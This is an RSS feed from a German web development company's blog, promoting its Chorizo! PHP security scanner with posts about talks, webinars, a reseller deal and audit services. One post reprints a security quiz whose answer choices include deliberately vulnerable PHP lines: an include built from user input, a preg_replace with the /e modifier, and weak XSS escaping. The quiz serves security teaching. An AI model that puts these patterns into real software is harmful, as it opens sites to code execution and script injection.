    <pubDate>Thu, 12 Apr 2007 13:19:11 +0200</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/196-guid.html</guid>
    <category>security</category>
<category>twitter</category>
<category>web20</category>
<category>xss</category>

</item>
<item>
    <title>Johann-Peter Hartmann spricht auf heise Security Konferenz</title>
    <link>http://blog.mayflower.de/archives/195-Johann-Peter-Hartmann-spricht-auf-heise-Security-Konferenz.html</link>
            <category>Chorizo</category>
            <category>Development</category>
    
    <comments>http://blog.mayflower.de/archives/195-Johann-Peter-Hartmann-spricht-auf-heise-Security-Konferenz.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=195</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=195</wfw:commentRss>
    

    <author>nospam@example.com (Tobias Kaufmann)</author>
    <content:encoded>
    
&lt;div align=&quot;right&quot;&gt;&lt;/div&gt;&lt;div align=&quot;right&quot;&gt;&lt;table cellspacing=&quot;1&quot; cellpadding=&quot;1&quot; border=&quot;0&quot; style=&quot;width: 100%;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td valign=&quot;top&quot; style=&quot;width: 80%;&quot;&gt;&lt;div align=&quot;left&quot;&gt;Johann-Peter Hartmann, technischer Leiter der Mayflower GmbH, spricht im Rahmen der Sicherheitskonferenzen des heise-Verlages.&lt;/div&gt;&lt;div align=&quot;left&quot;&gt;&lt;br /&gt;Im Rahmen immer komplexerer Webanwendungen werden auch die Möglichkeiten für Angriffe immer zahlreicher. Mit neuen  Technologien, wie beispielsweise AJAX, und  der neuen Mitmachkultur im Web2.0 entstehen Sicherheitsprobleme für Anbieter und Nutzer, die sich aktuell erst erahnen lassen.&lt;br /&gt;&lt;br /&gt;Johann-Peter Hartmann wird in seinem Vortrag die Themen XSS und Sicherheit bei Verwendung von AJAX-Applikationen intensiv erläutern und Lösungswege aufzeigen. Des Weiteren wird das Thema User-Generated-Content aus Security-Sicht erörtert. Freuen Sie sich auf interessante Vorträge in:&lt;br /&gt;&lt;br /&gt;24. April 2007, Düsseldorf, Hilton Hotel&lt;br /&gt;
03. Mai 2007, Frankfurt, Radisson SAS Hotel&lt;br /&gt;
09. Mai 2007, Hamburg, Dorint Sofitel&lt;br /&gt;
15. Mai 2007, München, Dorint Novotel&lt;br /&gt;&lt;br /&gt;Melden Sie sich &lt;a href=&quot;http://www.heise.de/veranstaltungen/2007/heisec_konferenz/&quot; target=&quot;_blank&quot; title=&quot;heise Security Konferenz&quot;&gt;hier&lt;/a&gt; an&lt;/div&gt;&lt;/td&gt;&lt;td valign=&quot;top&quot; style=&quot;width: 80%;&quot;&gt; &lt;/td&gt;&lt;td valign=&quot;top&quot; align=&quot;right&quot; style=&quot;width: 20%;&quot;&gt;&lt;img src=&quot;http://blog.thinkphp.de/uploads/heisec.png&quot; /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align=&quot;right&quot;&gt;&lt;/div&gt;&lt;div align=&quot;right&quot;&gt;&lt;/div&gt;&lt;div align=&quot;right&quot;&gt;&lt;br /&gt;
&lt;/div&gt; 
    </content:encoded>

    <pubDate>Wed, 11 Apr 2007 17:54:00 +0200</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/195-guid.html</guid>
    <category>ajax</category>
<category>chorizo</category>
<category>php</category>
<category>security2.0</category>
<category>web2.0</category>
<category>web20</category>
<category>xss</category>

</item>
<item>
    <title>Chorizo posters</title>
    <link>http://blog.mayflower.de/archives/191-Chorizo-posters.html</link>
            <category>Chorizo</category>
            <category>PHP</category>
    
    <comments>http://blog.mayflower.de/archives/191-Chorizo-posters.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=191</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=191</wfw:commentRss>
    

    <author>nospam@example.com (Tobias Kaufmann)</author>
    <content:encoded>
    
&lt;p&gt;
Somewhere around this time last year we did go public with our security scanner &lt;a href=&quot;https://chorizo-scanner.com/&quot;&gt;Chorizo!&lt;/a&gt;.&lt;/p&gt;One year later, Chorizo! is well established in the world of web development and a useful tool for a lot of developers, especially when you deal with PHP applications.&lt;br /&gt;
Doing a lot of marketing work in the last year, one special activity (and one of my favourites) was until now only available for readers of the German &lt;a href=&quot;http://phpmagazin.de/&quot;&gt;PHP-Magazin&lt;/a&gt;. But we think that it is time to change that...
&lt;p&gt;
&lt;/p&gt;&lt;p&gt;So we proudly present the &lt;b&gt;Chorizo!-adapt a movie poster-Series&lt;/b&gt;&lt;/p&gt;
&lt;p align=&quot;baseline&quot;&gt;Ladies and Gentlemen, here&#039;s the Gallery:&lt;/p&gt;
&lt;p style=&quot;width: 350px; height: 110px;&quot;&gt;
&lt;a href=&quot;http://blog.mayflower.de/uploads/chorizo1.jpg&quot; class=&quot;serendipity_image_link&quot;&gt;&lt;!-- s9ymdb:130 --&gt;&lt;img width=&quot;78&quot; height=&quot;110&quot; src=&quot;http://blog.mayflower.de/uploads/chorizo1.serendipityThumb.jpg&quot; style=&quot;border: 0px none ; float: left; padding-left: 5px; padding-right: 5px;&quot; /&gt;&lt;/a&gt;Our first poster does have some elements from a movie dealing with virtual reality and a man-machine conflict.
&lt;/p&gt;
&lt;p /&gt; &lt;br /&gt;&lt;a href=&quot;http://blog.mayflower.de/archives/191-Chorizo-posters.html#extended&quot;&gt;Continue reading &quot;Chorizo posters&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Fri, 02 Mar 2007 15:24:00 +0100</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/191-guid.html</guid>
    <category>chorizo</category>
<category>fun</category>
<category>security</category>

</item>
<item>
    <title> We did talk about Web-2.0 Security</title>
    <link>http://blog.mayflower.de/archives/187-We-did-talk-about-Web-2.0-Security.html</link>
            <category>Chorizo</category>
            <category>PHP</category>
    
    <comments>http://blog.mayflower.de/archives/187-We-did-talk-about-Web-2.0-Security.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=187</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=187</wfw:commentRss>
    

    <author>nospam@example.com (Tobias Kaufmann)</author>
    <content:encoded>
    &lt;p&gt;&lt;img vspace=&quot;0&quot; hspace=&quot;0&quot; border=&quot;0&quot; align=&quot;right&quot; style=&quot;width: 235px; height: 235px;&quot; src=&quot;http://blog.thinkphp.de/uploads/xss_coolio.jpg&quot; /&gt;On Tuesday our CIO, Johann-Peter Hartmann, gave a Web-seminar about security issues in the Web 2.0 era. We had about 140 participants and some very good questions in the following Q&amp;amp;A Session. We would like to thank you for the response and also  we´d like to thank Jürgen from MySQL, our webinar-host. &lt;/p&gt;&lt;p&gt;We uploaded our slides as promised. To download them, click &lt;a href=&quot;http://blog.mayflower.de/uploads/Web2.0undSecurity.pdf&quot; title=&quot;Web2.0undSecurity.pdf&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;If you missed the Web-Seminar you get a chance to see the recording of it &lt;a href=&quot;http://www.mysql.de/news-and-events/on-demand-webinars/security-20070130.php.de&quot; title=&quot;Security-Webinar&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;But be aware: It´s in german!!!&lt;/p&gt;&lt;p&gt;For english readers/speakers: Johann held an english security talk some time ago. Find it &lt;a href=&quot;http://www.mysql.com/news-and-events/on-demand-webinars/mayflower-20061109.php&quot; title=&quot;Security-Webinar&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&lt;p&gt;We already heard that some participants found some quite severe security issues right after listening to Johann´s talk. Therefore we strongly recommend to all of you to have a look at it.&lt;/p&gt;&lt;p /&gt; &lt;br /&gt;&lt;a href=&quot;http://blog.mayflower.de/archives/187-We-did-talk-about-Web-2.0-Security.html#extended&quot;&gt;Continue reading &quot; We did talk about Web-2.0 Security&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Mon, 05 Feb 2007 10:39:00 +0100</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/187-guid.html</guid>
    <category>ajax</category>
<category>chorizo</category>
<category>javascript</category>
<category>php</category>
<category>security</category>
<category>security2.0</category>
<category>web2.0</category>
<category>xss</category>

</item>
<item>
    <title>Web-2.0 Security</title>
    <link>http://blog.mayflower.de/archives/181-Web-2.0-Security.html</link>
            <category>Chorizo</category>
            <category>PHP</category>
    
    <comments>http://blog.mayflower.de/archives/181-Web-2.0-Security.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=181</wfw:comment>

    <slash:comments>6</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=181</wfw:commentRss>
    

    <author>nospam@example.com (Tobias Kaufmann)</author>
    <content:encoded>
    
&lt;p&gt;Hi Folks,&lt;/p&gt;&lt;p&gt;This is an announcement for a webinar in German. Therefore only written in German. If you are interested in the security topic be sure to see the english webinar, which is stored &lt;a href=&quot;http://mysql.com/news-and-events/on-demand-webinars/mayflower-20061109.php&quot; title=&quot;Security-Webinar&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&lt;hr width=&quot;100%&quot; size=&quot;2&quot; /&gt;&lt;p&gt;&lt;a href=&quot;http://mysql.com/news-and-events/on-demand-webinars/mayflower-20061109.php&quot; title=&quot;Security-Webinar&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Web-2.0-Anwendungen absichern&lt;/h3&gt;&lt;p&gt;Die verbesserte Einsatztauglichkeit der Web-2.0-Anwendungen wird auf
Kosten von neuen Sicherheitsproblemen erworben. Sowohl die mächtige
Logik im JavaScript als auch der permanente Login auf vielen Sites
bergen Risiken, die anders und gezielt beantwortet werden müssen.
Dieses Webseminar gibt einen Überblick, bewertet die Probleme und
stellt Lösungswege vor.&lt;/p&gt;

&lt;p&gt;Wenn Sie Web 2.0- und AJAX-Anwendungen entwickeln, ist dieser Vortrag genau das Richtige für Sie! Hier erfahren Sie:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;Welche neuen Sicherheitsrisiken es für Webanwendungen gibt&lt;/li&gt;&lt;li&gt;Welche Bedeutung XSS hat&lt;/li&gt;&lt;li&gt;Ursprünge und Typen von JavaScript-Malware&lt;/li&gt;&lt;li&gt;Wege zur Absicherung Ihrer LAMP-Anwendungen für Web 2.0&lt;/li&gt;&lt;/ul&gt; &lt;br /&gt;&lt;a href=&quot;http://blog.mayflower.de/archives/181-Web-2.0-Security.html#extended&quot;&gt;Continue reading &quot;Web-2.0 Security&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Wed, 24 Jan 2007 16:19:00 +0100</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/181-guid.html</guid>
    <category>ajax</category>
<category>chorizo</category>
<category>mysql</category>
<category>php</category>
<category>security</category>
<category>security2.0</category>
<category>xss</category>

</item>
<item>
    <title>The Chorizo! International PHP Conference Quiz</title>
    <link>http://blog.mayflower.de/archives/171-The-Chorizo!-International-PHP-Conference-Quiz.html</link>
            <category>Chorizo</category>
            <category>PHP</category>
    
    <comments>http://blog.mayflower.de/archives/171-The-Chorizo!-International-PHP-Conference-Quiz.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=171</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=171</wfw:commentRss>
    

    <author>nospam@example.com (Tobias Kaufmann)</author>
    <content:encoded>
    &lt;p&gt;

On this years conference we did start a quiz regarding security.&lt;a class=&quot;serendipity_image_link&quot; href=&quot;http://blog.thinkphp.de/uploads/ipod_chorizo_winner.jpg&quot;&gt;&lt;img width=&quot;78&quot; height=&quot;110&quot; style=&quot;border: 0px none ; float: right; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.thinkphp.de/uploads/ipod_chorizo_winner.serendipityThumb.jpg&quot; /&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;For those who were not able to visit the Conference I&#039;d like to show the questions asked.&lt;/p&gt;

&lt;blockquote&gt;
&lt;a class=&quot;serendipity_image_link&quot; href=&quot;http://blog.mayflower.de/uploads/ipod_chorizo_winner.jpg&quot;&gt;&lt;!-- s9ymdb:106 --&gt;&lt;/a&gt;
&lt;p&gt;
&lt;strong&gt;Which of the following code lines does really protect against Cross-Site-Scripting?&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
[ ] echo &#039;&amp;lt;a href=&amp;quot;index.php?name=&#039;.addslashes($_GET[&#039;name&#039;]).&#039;&amp;quot;&amp;gt;name&amp;lt;/a&amp;gt;&#039;;
&lt;br /&gt;
[ ] echo &#039;&amp;lt;a href=&amp;quot;index.php?name=&#039;.strip_tags($_GET[&#039;name&#039;]).&#039;&amp;quot;&amp;gt;name&amp;lt;/a&amp;gt;&#039;;
&lt;br /&gt;
[ ] echo &#039;&amp;lt;a href=&amp;quot;index.php?name=&#039;.preg_replace(&#039;|\W|&#039;, &#039;&#039;, $_GET[&#039;name&#039;]).&#039;&amp;quot;&amp;gt;Name&amp;lt;/a&amp;gt;&amp;quot;;
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;In which code line did we hide a Remote Code Execution?&lt;/strong&gt;
&lt;/p&gt;

&lt;p&gt;
[ ] include(dirname(__FILE__).&#039;/lang/lang_&#039;.$_GET[&#039;lang&#039;].&#039;.php&#039;);
&lt;br /&gt;
[ ] preg_replace(&#039;/_NAME_/msiUe&#039;, &amp;quot;htmlentities(\&amp;quot;$_GET[name]\&amp;quot;)&amp;quot;, &#039;Hello Mr _NAME_ ! &#039;);
&lt;br /&gt;
[ ] eval(&amp;quot;echo &#039;Hello Mr &amp;quot;.htmlentities($_GET[&#039;name&#039;], ENT_QUOTES).&amp;quot;&#039;;&amp;quot;);
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;Which tag can not contain JavaScript?&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
[ ] &amp;lt;img /&amp;gt;
&lt;br /&gt;
[ ] &amp;lt;br /&amp;gt;
&lt;br /&gt;
[ ] &amp;lt;style&amp;gt;&amp;lt;/style&amp;gt;
&lt;br /&gt;
[ ] &amp;lt;meta&amp;gt;&amp;lt;/meta&amp;gt;
&lt;br /&gt;
[&lt;span&gt;  &lt;/span&gt;] each of the here named tags can contain JavaScript
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;What is not possible to happen if your website contains a Cross-Site-Scripting-Vulnerability?&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
[ ] It is possible to take over the user-logins by using the so named Session-Riding.
&lt;br /&gt;
[ ] Your website visitor´s intranet can be scanned.
&lt;br /&gt;
[ ] Every pressed key of your sites user´s can be logged by third parties.
&lt;br /&gt;
[ ] Your user´s harddisks can be formatted. 
&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;br /&gt;&lt;a href=&quot;http://blog.mayflower.de/archives/171-The-Chorizo!-International-PHP-Conference-Quiz.html#extended&quot;&gt;Continue reading &quot;The Chorizo! International PHP Conference Quiz&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Thu, 09 Nov 2006 16:14:00 +0100</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/171-guid.html</guid>
    <category>chorizo</category>
<category>ipc06</category>
<category>security</category>

</item>
<item>
    <title>Announcing Chorizo! Intranet Edition and Chorizo! Security Audits</title>
    <link>http://blog.mayflower.de/archives/168-Announcing-Chorizo!-Intranet-Edition-and-Chorizo!-Security-Audits.html</link>
            <category>Chorizo</category>
            <category>Presse</category>
    
    <comments>http://blog.mayflower.de/archives/168-Announcing-Chorizo!-Intranet-Edition-and-Chorizo!-Security-Audits.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=168</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=168</wfw:commentRss>
    

    <author>nospam@example.com (Björn Schotte)</author>
    <content:encoded>
    &lt;p&gt;
&lt;a class=&#039;serendipity_image_link&#039; href=&#039;https://chorizo-scanner.com/intranetedition&#039;&gt;&lt;!-- s9ymdb:101 --&gt;&lt;img width=&#039;380&#039; height=&#039;252&#039; style=&quot;border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.mayflower.de/uploads/intranet_teaser.jpg&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
Live from the International PHP Conference this year, we have some announcements to make: first of all, we&#039;re now officially releasing the &lt;a href=&quot;https://chorizo-scanner.com/intranetedition&quot; &gt;Chorizo! Intranet Edition&lt;/a&gt;. That&#039;s basically the full Chorizo! software package for your internal corporate environment, installed on one of your servers. Furthermore, you can scan an &lt;strong&gt;unlimited number&lt;/strong&gt; of your own websites (we won&#039;t charge you for every server!) and create your own users inside the usermanagement. Besides that, of course Morcilla, the PHP security extension that detects deep security bugs directly on your server is included. The Intranet Edition is available for a license fee of EUR 5.800,-- including VAT (16% currently) for one installation. Support and updates are available for 20% of the license fee per year. If you&#039;re interested, just &lt;a href=&quot;mailto:sales@mayflower.de&quot; &gt;drop us an e-mail&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
Second, we&#039;re launching an array of Professional Services: Security Audits. You can get them in different flavours, like the Chorizo! PenTest, the Chorizo! Standard Audit and Chorizo! Extended Audit. Automatic security scanning is good, but to get hardened web applications, Security Audits are your friends. You can &lt;a href=&quot;https://chorizo-scanner.com/images/chorizo_audits_ps_e_w.pdf&quot; &gt;download the product paper&lt;/a&gt; or &lt;a href=&quot;mailto:sales@mayflower.de&quot; &gt;drop us an e-mail for an offer&lt;/a&gt;. Clients already include the financial and logistics industry.
&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 07 Nov 2006 10:54:04 +0100</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/168-guid.html</guid>
    <category>chorizo</category>
<category>ipc06</category>
<category>php</category>
<category>security</category>

</item>
<item>
    <title>Chorizo available for French customers: win an iPod Nano!</title>
    <link>http://blog.mayflower.de/archives/160-Chorizo-available-for-French-customers-win-an-iPod-Nano!.html</link>
            <category>Chorizo</category>
            <category>PHP</category>
    
    <comments>http://blog.mayflower.de/archives/160-Chorizo-available-for-French-customers-win-an-iPod-Nano!.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=160</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=160</wfw:commentRss>
    

    <author>nospam@example.com (Björn Schotte)</author>
    <content:encoded>
    &lt;p&gt;
&lt;a href=&quot;http://www.waterproof.fr/products/chorizo/&quot;&gt;&lt;img width=&#039;973&#039; height=&#039;80&#039; style=&quot;float: left; border: 0px; padding-left: 5px; padding-right: 5px;&quot; src=&quot;http://blog.mayflower.de/uploads/logo_waterproof.gif&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;Today, we&#039;re announcing a reselling partnership between &lt;a href=&quot;http://www.mayflower.biz/&quot; &gt;Mayflower GmbH&lt;/a&gt; and &lt;a href=&quot;http://www.waterproof.fr/products/chorizo/&quot; &gt;Waterproof S.A.R.L.&lt;/a&gt;, makers of PHP IDE PHPEdit and a French based company. They&#039;re reselling the Chorizo! software to their customers and in their local country France. &lt;a href=&quot;http://www.waterproof.fr/products/chorizo/&quot; &gt;You can view the product page on their website&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
If you happen to be on &lt;a href=&quot;http://www.afup.org/pages/forumphp2006/&quot;&gt;Forum PHP&lt;/a&gt; in Paris from 9th to 10th of November 2006, don&#039;t forget to step by Waterproof&#039;s booth - we&#039;re raffling a black iPod Nano 2 GB and five commercial licenses of Chorizo!. Just be prepared for the PHP Security Quiz ;-).
&lt;/p&gt;
&lt;p&gt;
Furthermore, if you might be on &lt;a href=&quot;http://www.phpconference.com/&quot;&gt;International PHP Conference&lt;/a&gt;, don&#039;t forget to step by our booth - we&#039;re also raffling a black iPod Nano via a PHP Security Quiz and several commercial licenses.
&lt;/p&gt;
&lt;p&gt;
PS: you might want to notice that XSS attacks are one of the most frequent attacks against web applications. See the recent announcement from &lt;a href=&quot;http://eof-project.net/&quot; &gt;EOF Project this weekend&lt;/a&gt;.
&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 30 Oct 2006 17:56:00 +0100</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/160-guid.html</guid>
    <category>chorizo</category>
<category>php</category>
<category>security</category>

</item>
<item>
    <title>How to make your own Chorizo!</title>
    <link>http://blog.mayflower.de/archives/156-How-to-make-your-own-Chorizo!.html</link>
            <category>Chorizo</category>
    
    <comments>http://blog.mayflower.de/archives/156-How-to-make-your-own-Chorizo!.html#comments</comments>
    <wfw:comment>http://blog.mayflower.de/wfwcomment.php?cid=156</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://blog.mayflower.de/rss.php?version=2.0&amp;type=comments&amp;cid=156</wfw:commentRss>
    

    <author>nospam@example.com (Jason W. Easter)</author>
    <content:encoded>
    Ever wanted to make your own Chorizo? Here&#039;s how to make it on your own! &lt;br /&gt;&lt;a href=&quot;http://blog.mayflower.de/archives/156-How-to-make-your-own-Chorizo!.html#extended&quot;&gt;Continue reading &quot;How to make your own Chorizo!&quot;&lt;/a&gt;
    </content:encoded>

    <pubDate>Tue, 24 Oct 2006 09:25:18 +0200</pubDate>
    <guid isPermaLink="false">http://blog.mayflower.de/archives/156-guid.html</guid>
    <category>chorizo</category>
<category>php</category>
<category>recipe</category>

</item>

</channel>
</rss>